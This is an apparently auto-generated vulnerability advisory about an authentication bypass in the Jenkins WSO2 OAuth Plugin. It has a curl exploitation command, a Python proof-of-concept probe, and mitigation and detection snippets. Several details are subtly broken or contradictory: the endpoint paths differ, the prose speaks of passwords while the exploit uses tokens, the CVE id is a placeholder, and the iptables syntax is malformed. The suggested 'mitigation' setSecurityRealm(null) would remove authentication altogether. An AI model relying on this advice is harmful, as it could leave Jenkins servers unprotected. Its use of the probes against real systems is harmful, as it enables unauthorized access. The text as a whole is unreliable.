Listen to this Post
How the CVE Works
The Jenkins WSO2 OAuth Plugin (versions 1.0 and earlier) fails to validate authentication claims when using the “WSO2 OAuth” security realm. This flaw allows attackers to bypass authentication by supplying any username and password combination—even non-existent usernames—due to improper credential verification. The plugin incorrectly assumes OAuth tokens are pre-validated, enabling unauthorized access to Jenkins controllers configured with this security realm. The vulnerability stems from missing server-side validation of identity assertions, allowing malicious actors to impersonate legitimate users without proper checks.
DailyCVE Form:
Platform: Jenkins
Version: ≤1.0
Vulnerability: Authentication Bypass
Severity: High
Date: May 16, 2025
What Undercode Say:
Exploitation:
- Attackers craft arbitrary OAuth tokens with spoofed user claims.
2. Send token to Jenkins endpoint without validation:
curl -X POST http://<JENKINS_URL>/securityRealm/oauth/authenticate -H "Authorization: Bearer MALICIOUS_TOKEN"
3. Jenkins grants access due to missing token validation.
Mitigation:
1. Upgrade to patched plugin version >1.0.
2. Disable WSO2 OAuth realm if unused:
// Jenkins Script Console Jenkins.instance.setSecurityRealm(null)
3. Implement network-level controls:
iptables -A INPUT -p tcp --dport 8080 -s !TRUSTED_IP -j DROP
Detection:
1. Audit logs for unusual auth patterns:
grep "WSO2 OAuth" /var/log/jenkins/access.log | grep "status=200"
2. Check plugin version:
ls $JENKINS_HOME/plugins/wso2-oauth.jpi | xargs basename
POC Code (Educational Use):
import requests
jenkins_url = "http://target/j_oauth/securityRealm/authenticate"
headers = {"Authorization": "Bearer INVALID_TOKEN"}
response = requests.post(jenkins_url, headers=headers)
if response.status_code == 200:
print("Vulnerable to CVE-2025-XXXX")
Workaround:
Enable Jenkins’ built-in security:
<!-- config.xml --> <securityRealm class="hudson.security.LegacySecurityRealm"/>
Impact Analysis:
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Affects all Jenkins deployments with WSO2 OAuth Plugin enabled.
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
